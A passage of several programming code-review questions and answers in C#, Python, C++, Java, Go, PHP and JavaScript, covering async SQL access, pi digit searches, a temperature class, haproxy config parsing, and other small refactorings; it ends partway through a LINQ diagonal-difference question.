    public void BeginGetSomething(string name, Action<DataTable> Callback)
    {
        Dictionary<string, object> Params = new Dictionary<string, object>()
        {
            { "@Name", name }
        };

        SqlAsync.AsyncSqlCall("spGetSomething", Callback, LoadReader, Params);
    }
}

Your code does not follow naming conventions (private fields should be camelCased, and usually have an underscore prefix; parameters should be camelCased)
there is no need in private properties, use fields instead (ConnectionString)
It is not an asynchronous version of SQL access, it is multithreaded access. The difference is that you don't necessarily need to span new threads (and you should not, in fact) to make your code asynchronous.
Stopping a thread using Thread.Abort is discouraged, and in general is very dangerous as it may lead to leaked resources and a lot of other side effects. It was explained in a lot of places, e.g. How To Stop a Thread in .NET (and Why Thread.Abort is Evil)
Killing a previous SQL action upon running the new one is the best way to get random issues all over your application
You don't provide any means to control the execution of asynchronous request, so calling code has no idea whether SQL finished execution
And finally, AsyncSqlCall<T> method should not have Action<T> Callback parameter as it is a continuation action, you should return Task<T> instead (so that caller can add a continuation)

I don't like custom ORMs and would suggest you to use Entity Framework or NHibernate as a data layer, but as an exercise here are the fixes I would apply (.NET 4.5):

public class SqlAsync
{
    private readonly string _connectionString;
    public int Timeout { get; set; }

    public SqlAsync(string connstring)
    {
        _connectionString = connstring;
        Timeout = 30;
    }

    public Task<T> AsyncSqlCall<T>(string sp, Func<SqlDataReader, Task<T>> handleResult, Dictionary<string, object> parameters = null)
    {
        return AsyncSqlCall<T>(sp, (reader, token) => handleResult(reader), CancellationToken.None, parameters);
    }

    public async Task<T> AsyncSqlCall<T>(string sp, Func<SqlDataReader, CancellationToken, Task<T>> handleResult, CancellationToken cancellationToken, Dictionary<string, object> parameters = null)
    {
        using (SqlConnection conn = new SqlConnection(_connectionString))
        using (SqlCommand cmd = new SqlCommand(sp, conn))
        {
            cmd.CommandTimeout = Timeout;
            cmd.CommandType = CommandType.StoredProcedure;

            if (parameters != null)
            {
                foreach (KeyValuePair<string, object> kvp in parameters)
                    cmd.Parameters.AddWithValue(kvp.Key, kvp.Value ?? DBNull.Value);
            }

            await conn.OpenAsync(cancellationToken);

            using (SqlDataReader rdr = await cmd.ExecuteReaderAsync(cancellationToken))
                return await handleResult(rdr, cancellationToken);
        }
    }
}


Find the first repeating sequence in digits of pi I wrote a function to return the first n length sequence which occurs twice in the digits of pi. Along with the repeated sequence, I want the indices of the first and second occurrences. For example, if n is 1, code returns (1, 0, 2) and if n is 2, (26, 5, 20).
For reference, here are the first digits of pi:
3.141592653589793238462643383279502884197169399375105820974944592...

The code uses a breadth-first search (as opposed to a depth-first search, which I coded up to be faster, but isn't what I'm looking for). I realize code below is convoluted and inefficient because it checks same digits multiple times.
How do I make it simpler and faster?
code
from mpmath import mp

mp.dps = 1000
pi = mp.pi

def repeats(n):
    pi_list = [int(x) for x in str(pi)[2:]]
    breadth = range(n + n, len(pi_list))

    for breadth_level in breadth:

        pattern_starts = range(breadth_level - 2 * n + 1)
        for p_s in pattern_starts:

            test_starts = range(n, breadth_level - n + 1)
            for t_s in test_starts:
                candidate = pi_list[p_s:p_s + n]
                test_start = max(p_s + n, t_s)
                test = pi_list[test_start:test_start + n]
                if candidate == test:
                    return candidate, p_s, t_s

print(repeats(1))
print(repeats(2))
print(repeats(3))

output
([1], 0, 2)
([2, 6], 5, 20)
([5, 9, 2], 3, 60)

How do I make it simpler and faster?

A more efficient approach:

Iterate on pi with a sliding window of size n.
Save each sequence (and the starting position) in a lookup map
Return as soon as you find a match in the lookup map

Something like this:
def repeats(n):
    lookup = {}
    pi_s = str(pi)[2:]
    for i in range(n, len(pi_s)):
        start = i - n
        seq = pi_s[start:i]
        if seq in lookup:
            return list(map(int, seq)), lookup[seq], start
        lookup[seq] = start

For n=5 this runs in 0.001 seconds, while your approach takes ~40 seconds.
For n=10 and 1 million digits, this approach finds ([4, 3, 9, 2, 3, 6, 6, 4, 8, 4], 182104, 240478) in ~50 seconds. The slowest part now seems to be str(pi), which generates the digits. Once the digits are generated, searching for the sequence takes less than a second.
Review

Naming: the function name repeats is a bit ambiguous, it sounds like how many times n appears in the sequence. A better name could be first_repeating_sequence_of.
Edge case: for bigger n, more digits of pi are required, otherwise no matches are found. Consider passing the max number of digits of pi as an argument so the caller is aware of this limit.


Capturing temperature information for a patient I just finished writing a program that captures temperature information for a patient. I'm looking for suggestions on how to improve the code that I have. Although what I have compiles and does what I want, I wonder if there is any methodology I'm using inappropriately despite it still working.

Some particular areas I worry about are redundant code and my use of the conversion and fever methods (you can ignore the clearly bad math. I just wanted any calculation until I determined functionality).

Temperature.hpp:

#ifndef Temperature_h
#define Temperature_h

#include <iostream>
#include <string>
using namespace std;

class Temperature {
private:
    string newPatient;
    float newTemp;
    char newDegree;

public:
    enum TempMethod {oral, arm, leg, bum};

    Temperature();
    Temperature(string, float, char);
    ~Temperature();

    string getPatient() const;
    float getTemp() const;
    char getDegree() const;

    float setFaren();
    float setCels();
    void hasFever();

};

#endif /* Temperature_h */

Temperature.cpp:

Temperature::Temperature(string patient, float temp, char degree){
    newPatient = patient;
    newTemp = temp;
    newDegree = degree;
}

Temperature::~Temperature(){

}

string Temperature::getPatient() const{
    return newPatient;
}

float Temperature::getTemp() const{
    return newTemp;
}

char Temperature::getDegree() const{
    return newDegree;
}

float Temperature::setFaren(){
    float faren = newTemp+32;
    return faren;
}

float Temperature::setCels(){
    float celsi = newTemp-32;
    return celsi;
}

void Temperature::hasFever(){
    if(newTemp >= 100.4){
        cout << "Patient " << newPatient << " has a fever!!\n";
    }
}

main.cpp:

#include <iostream>
#include <string>
#include "Temperature.h"
using namespace std;

int main() {
    string patient;
    float temp;
    float celsius;
    float farenheit;
    char degree;

    cout << "Enter Patient Name: ";
    getline(cin, patient);
    cout << "Enter the tempature: ";
    cin >> temp;
    cout << "Enter degree method (F or C): ";
    cin >> degree;

    Temperature Temp_1(patient, temp, degree);
    cout << "\nPatient Name: " << Temp_1.getPatient() << endl <<
    "Temperature: " << Temp_1.getTemp() << " degrees " << Temp_1.getDegree() << endl;

    if(Temp_1.getDegree() == 'F'){
        celsius = Temp_1.setCels();
        cout << "Temperate in Celsius: " << celsius << " degrees Celsius" << endl;
    }
    else if(Temp_1.getDegree() == 'C'){
        farenheit = Temp_1.setFaren();
        cout << "Temperature in Farenheit: " << farenheit << " degrees Farenheit" << endl;
    }

    Temp_1.hasFever();

    return 0;
}

Technicalities

Your destructor is the same as the default destructor -- I wouldn't bother defining one. It makes me think that the class is going to actually do something in there, so it's strange when it doesn't.

Your header doesn't use iostream, only your implementation does. This means that the #include should be in the cpp file. Try to keep headers as tightly included as possible.

You're not mutating the patient variable so there's no need to make a copy. Instead, you should take it by const reference.

Temperature(const std::string& patient, float temp, char degree);

Instead of assigning your parameters, you should use an initializer list. Assinging means that they might be default constructed first then assigned, and this is unnecessary.

Temperature::Temperature(const std::string& patient, float temp, char degree)
  : patient(patient), temp(temp), degree(degree)
{ }

You did a good job of making your getters const, but getFahrenheit, getCelsius and hasFever should all also be const (they should also be renamed as this implies -- see the Style section).

You shouldn't use using namespace std in header files.

For little toy programs like this, it doesn't matter much, but it can be a good habit to always remember that any kind of IO can fail. In particular, if you want to indulge in some paranoia, you should check that your cin extraction was successful. After all, what if someone puts in a non-sense value when you're expecting a float. You don't particularly want your program to continue after that.

Style

float Temperature::setFaren(){
    float faren = newTemp+32;
    return faren;
}

This isn't setting anything. This is a getter. It should be named getFaren, or even better, getFahrenheit. To get a bit cliche-y for a second, code is read much more than it's written. Strive for clarity even if that means typing a few extra characters.

Also, the variable is a bit superfluous. I'd go with a simple return newTemp + 32;.

#ifndef Temperature_h

Include guards are traditionally SCREAMING_SNAKE_CASE:

#ifndef TEMPERATURE_H

Temperature(string, float, char);

This is confusing as a consumer of the class. You should give these parameters names:

Temperature(string patient, float temperature, char degree);

You have some non-optimal namings. For example, newPatient, newTemp, and newDegree don't really make sense. Why are they new? Just call them patient, temp and degree. If you're worried about them clashing with the local variables in the constructor, you can just use this->patient. I would also consider calling patient patientName since patient makes me expect some kind of model rather than a simple string.

I also am not a fan of the parameter name temp. That makes me assume it's some kind of temporary variable. temperature is clearer.

degree also unfortunately has issues. Fahrenheit and Celsius aren't degrees. They're scales of temperatures. This parameter could instead be named scale.

void Temperature::hasFever(){
    if(newTemp >= 100.4){
        cout << "Patient " << newPatient << " has a fever!!\n";
    }
}

This shouldn't output, but should instead return a bool. The consumer of the class should decide what to do with this information. What if you had a list of Temperatures and you wanted to count how many instances were considered to have a fever. You would likely not want this to output each time a fever was found. Instead, you want the method to return a bool that you can then decide what you want to do with it.

Also, you need to be aware of what scale you're using here. The threshold for a fever in Celsius is much different than the threshold in Fahrenheit.

enum TempMethod {oral, arm, leg, bum};

As this seems to be unused, I would remove it.

If this code were going to live longer than 1 homework assignment or practice, I would expect the class and its methods to be documented.

Design

I would decide on a canonical scale and use that internally. Then, your other scale(s) would simply convert in their getters. For example, you could always store Celsius and just convert to Fahrenheit when needed (this would of course mean that your constructor would need to convert to Celcius when Fahrenheit is provided).

I would consider using an enum for your scale instead of a char. An enum would mean that a user could only provide correct values. It also more explicitly signals what is supported. For example, someone might try to pass in K as your code currently is, then your conversion methods might not support that. Even worse, someone could currently pass in some non-sense like a.

If you do keep it a char, make sure to validate that it's one of the expected values.

It's strange for Temperature to have a patient name. It means that you're not really modeling a temperature; you're modeling a patient/temperature combination. In other words, you've coupled your Temperature object to your patient. What if you wanted to model the temperature of a room? Or of a bucket of water? There's nothing about a temperature that inherently has a patient name.

You should likely have some form of a Patient model that has a temperature (or something even more complex than this in the real world). More pragmatically though, this is a completely reasonable way to do it as long as you're aware that you've made this decision and the program isn't going to grow much. Do keep in mind though that this is a very real tradeoff, and if this program were to ever grow in complexity, you'd likely want to decouple these.


Extract a list of users from a text file fo=open("haproxyfile.txt","r")
users=[]
for lines in fo.readlines():
    if 'user' and 'password' in lines:
        items=lines.split() #converts to list"""
        users.append(items[1]) #append the second item that is the username"""

print users

The content of haproxyfile.txt is below

ssl-default-bind-ciphers EECDH+EDSA+ACM:CDH+aRSA+AEdfGCM:EECDH+ECDSA+SHA384:EEC+
ESA+SHA:EDH+aRSA+SHA384:EECDH+aRSA+SHA256:EDH:AES128-GCM-SHA256:AES128-SHA256:AES128-S
HA:EDH+SA:AES256-GCM-SHA384:AES-SHA256:AES256-SHA:!RC4:!aNULL:!eNULL:!LOW:!3D:!MD5:!EXP:
!PSK:!SRP:!DSS

        # Users
        userlist IntacctAdmins
          group admins users aasghar,achouchoulas,bwright,calla,gspiliotis,haris,pdam
          user aasghar password $1$CFdTKLSRSbQME/
          user achouchoulas password $1$uLy//uPCaVSNhfFG/
          user bwright password $1$q3Fk$kmqM.J531
          user calla password $1$f%g23a44$Bl.1fPj/
          user gspiliotis password $1$d/2OI.TQOiV1
          user haris password $1$mwQ$uG/1mUjE0
          user pdam password $1t24Z$K4FUH/

What I need to parse from the content

The line after having the words groups are the lines where my user names are located. They are the single words after user keyword.I have fetched it using the method above.Is there any better way to fetch it?

There are quite a few possible improvements.

You should open files with the with keyword, this way they get closed no matter what (you don't even close your file).

if 'user' and 'password' in lines: does not mean what you think it does. All non-empty strings are truthy in Python, so if "user" is always True. So you only really check that the line contains "password". Fortunately you don't have any lines containing "password", but not "users", so this bug has not yet become obvious.

The easiest fix for this would be using this:

if "user" in lines and "password" in lines:
    # Stuff

In summary, I would re-write your code like this:

with open("haproxyfile.txt") as f:
    users = [line.split()[1] for line in f
             if line.strip().startswith("user") and "password" in line]

print users

Note that I omitted the "r" parameter to open, because read-only is the default mode. I also used str.startswith to check if it starts with a string. The strip is probably needed, to get rid of the whitespace at the beginning of your lines. If that is a copy&paste error as well, omit it.

I also wrote it as a list-comprehension and used the fact that you can directly iterate over a file.


Merging two array of classes I have this function that should merge two array of classes when id of array1 is equal to id of array2.

For simplicity I converted one array into an ArrayList so I can remove the occurrence merged into the other one..

I'm looking a way to improve it, also in cpu-time, because the two arrays can have more then 20000rows.
The actual way, should take some time..

public Asset[] merge(Asset[] a2, ArrayList<countR> a)
{
        while (a.size()!=0){
            int i=0;
            Boolean b=false;
            while (i<a2.length && b==false)
            {
                if (a.get(0).id.equals(a2[i].id)){
                    a2[i].TotaleRegistrazioni = a.get(0).tot;
                    b=true;
                }
                i++;
            }
            a.remove(0);
        }
return a2;
}

Staying with your original code you can change b to a simple break and you can change the inner while to a for which is easier to read:

public Asset[] merge2(final Asset[] firstArray, final ArrayList<CountR> secondList) {
    while (secondList.size() != 0) {
        for (int i = 0; i < firstArray.length; i++) {
            final CountR countR = secondList.get(0);
            final Asset asset = firstArray[i];
            if (countR.id.equals(asset.id)) {
                asset.TotaleRegistrazioni = countR.tot;
                break;
            }
        }
        secondList.remove(0);
    }
    return firstArray;
}

Searching in a HashMap should be faster than iterating through the whole array, so I'd do the following:

public Asset[] merge3(final Asset[] firstArray, final CountR[] secondArray) {
    final Map<Id, Asset> assetCache = new HashMap<Id, Asset>();
    for (final Asset asset : firstArray) {
        final Id id = asset.getId();
        assetCache.put(id, asset);
    }

    for (final CountR countR : secondArray) {
        final Id countRId = countR.getId();
        final Asset asset = assetCache.get(countRId);
        if (asset != null) {
            // I supposed that it's int
            final int total = countR.getTot();
            asset.setTotaleRegistrazioni(total);
        }
    }

    return firstArray;
}

(I supposed that the Asset.id is unique in the array.) In this case you don't have to convert the second parameter to an array (just the first to a map). Maybe it worth playing with the initialCapacity and loadFactor parameters of the HashMap to avoid the resizing.


Image Cropping and Resizing I am building a Go based image processing worker for my web application. I am trying to be idiomatic, but I am new to Go. Any feedback, is appreciated. This program uses bimg to generate 4 square images based on top, left, width, height, which come from a client side cropping library (croppie.js)

package main

import (
    "log"
    "os"
    "fmt"
    "strings"
    "gopkg.in/h2non/bimg.v1"
)

var sizes = [3]int{128, 256, 512}

func resizeImage(img []byte, width int, height int, name string) (err error){
    options := bimg.Options{
        Width: width,
        Height: height,
    }

    var thumb []byte

    thumb, err = bimg.Resize(img, options)
    if err != nil {
        log.Println(os.Stderr, err)
        return err
    }
    err = bimg.Write(name, thumb)
    return
}

func processImage(top, left, width, height int, filename string) (err error){
    var buffer, original []byte
    var image *bimg.Image
    var fileBaseName = strings.Split(filename, ".")[0]

    buffer, err = bimg.Read(filename)
    if err != nil {
        log.Println(os.Stderr, err)
    }

    image = bimg.NewImage(buffer)

    original, err = image.Extract(left, top, width, height)
    if err != nil {
        return err
    }

    err = bimg.Write(fileBaseName + "_original.jpg", original)
    if err != nil {
        return err
    }

    for i := 0; i < len(sizes); i++ {
        size := sizes[i]
        err = resizeImage(original, size, size, fmt.Sprintf(fileBaseName + "_%d.jpg", size))
        if(err != nil){
            log.Println(os.Stderr, err)
            return err
        }
    }
    return
}

func main() {
    err := processImage(50,50,400,400, "test2.jpeg")
    if(err != nil){
        log.Println(os.Stderr, err)
    }
}

Use range

The loop over sizes doesn't use the loop index, so it can be written more idiomatically using range:

for _, size := range sizes {
    // ...
}

Variable declarations

At many places you declare variables at the top of the function. This is neither necessary not recommended. It's best to declare variables right before you need them, not sooner.

Related to this, most functions use a named return value. This can be useful sometimes. But in the posted code, most of the time you return a value explicitly, and only use a parameterless return at the end of functions, so you might as well drop the naming and return nil where you need it.

Lastly, in resizeImage signature, you could shorten width int, height int like you already did in other functions.

Logging

I don't understand what os.Stderr is doing in the calls to log.Println. This function will write to standard error the parameters passed to fmt.Sprintf. If you want to log to standard error, you can replace log.Println(os.Stderr, err) with simply log.Println(err). The os.Stderr is not doing anything useful there, I suspect it was a symbol mistake.

Formatting

The code doesn't follow the standard at a few places. Run go fmt to fix it.


Asynchronous Pattern I have an n-tier solution which consist of DAL,BL and a ASP.net WebAPI project. I'm new with Asynchronous Pattern and I'm trying to add it to my Framework. Am I using the asynchronous pattern correctly? I'm not convinced with my implementation of it. Could you give me a recommendation on how to use it correctly or any other improvements I can make on my system?

This is my BL.

 public async Task<DTOUserList> GetUserList(DTOSearch source)
            {
                var result = new DTOUserList();

                try
                {

                    string strQuery;
                    Object[] objValues;
                    string strOrderBy;
                    CommonFunctions.ParseQuery(out strQuery, out objValues, out  strOrderBy, source);
                    //This is my implementation of async/await which im not convinced.
                    result = await Task.Run(() => _RepositoryUser.GetUserList(strQuery, objValues, source.PageNo, source.PageSize, source.OrderBy));

                }
                catch (Exception ex)
                {
                    result.IsSuccessful = false;
                    result.ErrorMsg = "Business Layer Error - " + ex.Message;
                }

                return result;
            }

and this is my DAL.

public DTOUserList GetUserList(String Query, object[] values, Int32 pageNo, Int32 pageSize, String orderby)
        {
            var result = new DTOUserList();

            try
            {

                _Entities = new Entities();

                IQueryable<DTOUser> data = from user in _Entities.mdUsers
                                           where user.Deleted == 0
                                           select new DTOUser
                                           {
                                               UserID = user.UserID,
                                               FirstName = user.FirstName,
                                               MiddleName = user.MiddleName,
                                               LastName = user.LastName,
                                               Email = user.Email,
                                               Telephone = user.Telephone,
                                               Mobile = user.Mobile,
                                               Address = user.Address,
                                               City = user.City,
                                               Country = user.Country,
                                               Active = user.Active,
                                               DateCreated = user.DateCreated

                                           };

                if (!string.IsNullOrWhiteSpace(Query)) data = data.Where(Query, values);

                result.TotalRecords = data.Count();
                result.UserList = data.OrderBy(a => a.FirstName).Skip(((pageNo > 0 ? pageNo : 1) - 1) * (pageSize > 0 ? pageSize : 1000)).Take((pageSize > 0 ? pageSize : 1000)).ToList();
                result.IsSuccessful = true;

            }
            catch (Exception ex)
            {
                result.IsSuccessful = false;
                result.ErrorMsg = "Data Access Layer Error - " + ex.Message;
            }
            return result;

        }

In general, you shouldn't expose synchronous operations as asynchronous, see Should I expose asynchronous wrappers for synchronous methods? If a method doesn't have an async version, just expose it synchronously. The caller can then choose to run it on another thread, if that makes sense.


MySQL connection class I am trying to learn OOP using PHP5 and I wrote a simple MySQL connection class. Please take a look and give me some feedback on better practices, critical errors, and any other feedback you can provide.

Note: in the verifyDatabaseConnection method, I used an @ symbol to curb the error I was receiving.

<?php
class Mysql
{
        private $user;
        private $pass;
        private $data;
        private $host;

        public function __construct($user,$pass,$data,$host)
        {
                $this->user = $user;
                $this->pass = $pass;
                $this->data = $data;
                $this->host = $host;
                $this->verifyNullFields();
        }
        private function verifyNullFields()
        {
                if($this->user == NULL)
                {
                        print('mysql error : username is null');
                }
                if($this->data == NULL)
                {
                        print('mysql error : database name is null');
                }
                else if($this->host == NULL)
                {
                        print('mysql error : host name is null');
                }
                else
                {
                        $this->verifyDatabaseConnection();
                }
        }
        private function verifyDatabaseConnection()
        {

                $link = @mysql_connect($this->host,$this->user,$this->pass);
                if(!$link)
                {
                        die('mysql error : databse connection issue');
                }
                else
                {
                        $this->verifyDatabaseExist();
                }
        }
        private function verifyDatabaseExist()
        {
                $db = mysql_select_db($this->data);
                if(!$db)
                {
                        die('mysql error : database selection issue');
                }
        }

}
?>

<?php
$m = new Mysql("root","","test","localhost");
 ?>

Don't print anything or call die() from this class because it may breaks caller's code/page. For example, you may want to show customized error page when error occurs, but all text printed by your code will break and stops this. One point is return boolean, as already said. But I personally prefer using exceptions for that (and even more -- I create special excepton which extends standard Exception class. This approach allows to differentiate one exception from another.).
Get rid of chained method calls. Don't call verifyDatabaseConnection() from verifyNullFields(), verifyDatabaseExist() from verifyDatabaseConnection() and so on. Your method should do only one thing as declared in their name.
Rename data member to something more meaningful.
At your opinion: you may replace $this->user == NULL) check to is_null($this->user)
Also, when you will need to create similar class for PostgreSQL database (or abother DB) you should extract base class


Give function get file extension for you I have written a function that retrieves the extension from a given file name for you. I would like to make this more efficient and increase it's performance.

<?php
function getExt($filename) {
    //if(!is_file($filename)) return '';
    $n = strlen($filename);
    if($n<2) return '';
    $non_ext = '';
    $ext = '';
    for($i=$n;$i--;$i>=1) {
        $c = $filename[$i];
        if($c==='.') {
            $ext = '.'.$non_ext.$ext;
            $non_ext = '';
        }else
            $non_ext = $c.$non_ext;
    }
    return $ext;
}
$filename = "asdfasdfasd.tar.gz";
$ext = getExt($filename);
var_dump($ext);
?>

You can use PHP inbuilt function. Inbuilt functions are the fastest.

$ext = pathinfo($filename, PATHINFO_EXTENSION);


Handling data from an HTML table using jQuery I have the following table:

    Corredor
    Id Corrdor
        <input type="text" value="dfdfgdf23231fg" class="validate" name="idcorreo" />

    Nombre
        <input type="text" value="rertretert" class="validate" name="nombre" />

    Email
        <input type="text" value="vikrambanand@gmail.com" class="validate" name="email" />

    Empressa
        <input type="text" value="dfdfdf" class="validate" name="Empressa" />

    Pagina Web
        <input type="text" value="dfdfdf" class="validate" name="paginaWeb" />

    Telefono
        <input type="text" value="34454355" class="validate" name="telephon" />

    Cellular
        <input type="text" value="2323" class="validate" name="cellular" />

        <input type="button" id="updateBtn" value="Update" name="Update" style="float:left" />

To handle this, I have the following jQuery code:

 $(document).on('click', '#updateBtn', function () {
    var locations = [],
        rows = [],
        content = {};
    $('.rowUpdate').each(function (i) {
        var feed = [];

        $(this).find('td').each(function (j, v) {
            var label = $(this).html();
            if (j == 0) feed = feed + label;
            if (j != 0) {

                var input = $("input", this),
                    name = input.attr("name").substring(0, input.attr("name").length),
                    value = input.val();
                //alert(value);
                content[name] = value;
                //alert(JSON.stringify(content));
            }
            if (j == 7) {
                feed = feed + '=' + JSON.stringify(content);
            }
        });
        alert(feed);
        rows.push(feed);
    });

});

Can there be a better script to handle this? What I am trying to do is to save the content of the row in a form of string in the array row.

$(document).on('click', '#updateBtn', function () {    // See "Event Handler"
    var locations = [],                                // See "Unused Variable"
        rows = [],                                     // See "Improper Scope"
        content = {};

    $('.rowUpdate').each(function (i) {                // See "Exactly One" and "Parameters"
        var feed = [];

        $(this).find('td').each(function (j, v) {      // See "Parameters"
            var label = $(this).html();

            if (j == 0) feed = feed + label;           // See "Type Variance"
            if (j != 0) {
                var input = $("input", this),
                                                       // See "Wait, what?"
                    name = input.attr("name").substring(0, input.attr("name").length),
                    value = input.val();

                //alert(value);                        // See "Commented Code" and "Alert"
                content[name] = value;
                //alert(JSON.stringify(content));
            }
            if (j == 7) {
                                                       // See also "JSON"
                feed = feed + '=' + JSON.stringify(content);
            }
        });
        alert(feed);
        rows.push(feed);                               // See "Improper Scope"
    });
});

Event Handler -
You've attached the event listener to the document which is fine, but you've used an Id selector to filter it to. There can be only one element with in the document referenced by that Id.1 Unless the #updateBtn element is expected to be destroyed and recreated during the documents lifetime, it would be better to specify that element explicitly.

Unused Variable -
The locations variable is never referenced after it is instantiated, remove it.

Improper Scope -
The rows variable is pushed to, but never read from. If it is to be useful to other code it will need to be moved out of the event handler's scope.

The content variable is never used at this level of the scope, move its declaration to the narrowest scope required.

Exactly One -
According to the HTML snippet you've provided, the .rowUpdate contains the #updateBtn which forces me to assume means there will be only 1 .rowUpdate. Update the markup to indicate this element is special by setting the id instead of the class attribute.

Because we expect this .each function to be invoked once it can be flattened into the parent scope.

Parameters -
JavaScript does not allow functions to be overloaded by parameters.2 the i and v parameters are never used and can be removed. Parameters are essentially variable declarations and should be named accordingly. j would be better named index.

Type Variance -
feed is originally instantiated as an empty array, but you're now adding a string to it. I'm not sure what your intent is, but the effect will be to cast the empty array to an empty string and append label. This is only being done for the 0th element so a simple assignment will do.

Wait, what? - First, nearly every string literal in your code is enclosed in single quotes ('). Suddenly you've begun using double quotes ("). Javascript will allow either, but keep your code consistent.

I'm not sure what the purpose of the .substring method call when your arguments are the full length of the string. this can be removed.

Commented Code -
Remove code that is unused. Only comment out code for the purposes of debugging or experimenting and remove the comment (and code if necessary) when done.

Alert -
alert should not be used for debugging purposes. Use the console methods trace, debug, log, warn, etc..

JSON -
JSON is a format used for serializing data. It should be used to save, restore, and transfer data. Your code should never manipulate JSON directly. Instead use the objects serialized from the JSON string.

After modifying the code based on the review, I end up with something like this:

var rows = [];

$('#updateBtn').on('click', function {
    var feed = {},
        content = {},
        label = $('.rowUpdate td').first().html();

    $('tr.rowUpdate td input[type=text]', this).each(function(index, input) {
        var $input = $(input),
            name = $input.attr('name'),
            value = $input.val();

        console.debug('value', value);
        content[name] = value;
        console.debug('content', content);
    });

    feed[label] = content;
    console.debug('feed', feed);
    rows.push(feed);
});

Then use the actual objects from the rows array if being consumed in other javascript code or send the rows JSON to wherever it is consumed. If for some reason your consumer cannot be modified to use a proper object and relies on the broken JSON string originally in the method, change feed[label] = content to feed = label + '=' + JSON.stringify(content).


Print a word with numbers substituted for characters I wrote the following Python program to take 1 word from the user and return certain characters replaced by numbers. Given a dictionary, the program should print all possible combinations of the same word with various characters substituted:

import sys

def main(argv):

    if len(argv) != 2:
        print(f"USAGE: {argv[0]} [word]")
        return

    replacements = {}

    # Populate the known replacements
    replacements['i'] = ['1']
    replacements['e'] = ['3']
    replacements['m'] = ['/v\\']
    replacements['a'] = ['4']
    replacements['r'] = ['2']
    replacements['o'] = ['0']

    print_possibilities(argv[1], replacements, [])

def print_possibilities(s: str, replacements: dict, dupes: list):
    ctr = 0
    tally = 0
    for c in s:
        if c.lower() in replacements:
            tally += 1
    if tally == 0:
        return

    for c in s:
        if c.lower() in replacements:
            for r in replacements[c.lower()]:
                tmp = list(s)
                tmp[ctr] = r
                as_str = ''.join(tmp)
                if as_str in dupes:
                    continue
                print(as_str)
                dupes.append(as_str)
                print_possibilities(as_str, replacements, dupes)
        ctr += 1
    return

if __name__ == '__main__':
    main(sys.argv)

I've tested with python3 replace_word.py mondoman and I get this output:

/v\ondoman
/v\0ndoman
/v\0nd0man
/v\0nd0/v\an
/v\0nd0/v\4n
/v\0nd0m4n
/v\0ndo/v\an
/v\0ndo/v\4n
/v\0ndom4n
/v\ond0man
/v\ond0/v\an
/v\ond0/v\4n
/v\ond0m4n
/v\ondo/v\an
/v\ondo/v\4n
/v\ondom4n
m0ndoman
m0nd0man
m0nd0/v\an
m0nd0/v\4n
m0nd0m4n
m0ndo/v\an
m0ndo/v\4n
m0ndom4n
mond0man
mond0/v\an
mond0/v\4n
mond0m4n
mondo/v\an
mondo/v\4n
mondom4n

I feel that this could be improved to be more performant and more idiomatic and would like a code review.

Think about the problem as a repeated Cartesian product. It allows us
to use the very useful product function from the itertools module:

>>> list(product('ab', 'AB', 'xy'))
[('a', 'A', 'x'), ('a', 'A', 'y'), ('a', 'B', 'x'),
('a', 'B', 'y'), ('b', 'A', 'x'), ('b', 'A', 'y'),
('b', 'B', 'x'), ('b', 'B', 'y')]

So your problem can be solved by replacing each character in the
string with its possible replacemnets and running product on the
result:

import itertools
import sys

def alternatives(ch, repls):
    key = ch.lower()
    if key in repls:
        return [ch, repls[key]]
    return [ch]

def main(argv):
    if len(argv) != 2:
        print(f"USAGE: {argv[0]} [word]")
        return

    # Populate the known replacements
    replacements = {'a' : '4', 'e' : '3', 'i' : '1',
                    'm' : '/v\\', 'o' : '0', 'r' : '2'}

    s = [alternatives(ch, replacements) for ch in argv[1]]
    for it in itertools.product(*s):
        print(''.join(it))

if __name__ == '__main__':
    main(sys.argv)

Note that this version is not exactly identical to your original. If
you enter "mondoman" the program will output "mondoman" as one
combination.


Sorting a JavaScript array with a Regex I'm using SharePoint 2013 JSOM. My variable this.templates contains a collection of templates with many different names. The only way to iterate through this collection is by using an Enumerator. I can only get the name of each template by using get_title().

I want to get the templates whose names respect the following rules:

It contains "espace_projet"
It contains the letter "v" followed by any number, once

Then, out of the templates i got, I want to get the one with the highest value that was after the "v".

I'm not used to JavaScript, this code works fine, but feels like overkill. How could I make it shorter/more readable?

ApplyTemplate()
{
    var highestVersion = {number: -1, template: null};
    var templateEnum = this.templates.getEnumerator();

    while(templateEnum.moveNext())
    {
        //Gets the element name in my collection
        var templateName = templateEnum.get_current().get_title();
        if(templateName.includes('espace_projet'))
        {
            var version = templateName.match('v[0-9]+|v_[0-9]+');
            if(version){
                var versionNumber = version[0].match('[0-9]+');
                if(versionNumber[0] > highestVersion.number)
                    highestVersion = {number: versionNumber[0], template: templateEnum.get_current()};
            }
        }
    }

    return highestVersion;
}

Contentwise considerations

Use const wherever possible, otherwise let. Avoid var.
Match the version number only once (see code below) and employ the ? operator to save redundancy: v_?[0-9].
(The latter might actually be disputable, I personally find both versions easy to read.)

Your code would be shorter and much easier to reason about if it was more functional.
However, as JS is missing some functional concepts other languages take for granted (array comprehension, min/max in array by key function), this would require helper functions being a new, but onetime overhead. Are you using a third-party library like Lodash by accident? Then you already got many functional polyfills.

Which methods does the Enumerator you are using from SharePoint support apart from the iterative query interface with moveNext(), get_current()? If there is no built-in support, I'd suggest writing a generator function:

function *getTemplateIterator(templates) {
  const templateEnum = templates.getEnumerator();
  while (templateEnum.moveNext()) {
    yield templateEnum.get_current();
  }
}

function ApplyTemplate() {
  return [...getTemplateIterator(this.templates)]
    .filter(template => template.get_title().includes('espace_projet'))
    .map(template => {
      const version = /v_?([0-9]+)/.match(template.get_title());
      return {
        version: (version !== null) ? parseInt(version[1], 10) : -1
        template: template
      };
    })
    .reduce((highestVersionedTemplate, template) =>
      (template.version > highestVersionedTemplate) ? template : highestVersionedTemplate,
      { version: -1, template: null }
    );
    // In contrast with an array max/min function suporting a key extracting function
    // (e.g. like in Python: https://docs.python.org/3.8/library/functions.html#max)
    previousChainOfFunctions.maxOrDefault(template => template.version, { version: -1, template: null });
}

Stylistic considerations

Your variable names are self-explanatory and consistently written, that's fine!
Use consistent braces in blocks (function, if, many more), e.g. function { or function[newline]{, but do not mix both.
Always use braces around if, else, for, while.


Diagonal difference using Linq Recently, I have been trying my hands on LINQ.  So I've implemented the diagonal difference using Linq in Hackerrank.  I know a similar question has been asked in python Diagonal Difference
Here is an excerpt of the problem Hackerrank -Diagonal Difference

Given a square matrix of size N X N , calculate the absolute difference between the sums of its diagonals.
Input Format
The first line contains a single integer, N . The next  lines denote the matrix's rows, with each line containing space-separated integers describing the columns.
Output Format
Print the absolute difference between the two sums of the matrix's diagonals as a single integer.

Sample Input
3
11 2 4
4 5 6
10 8 -12
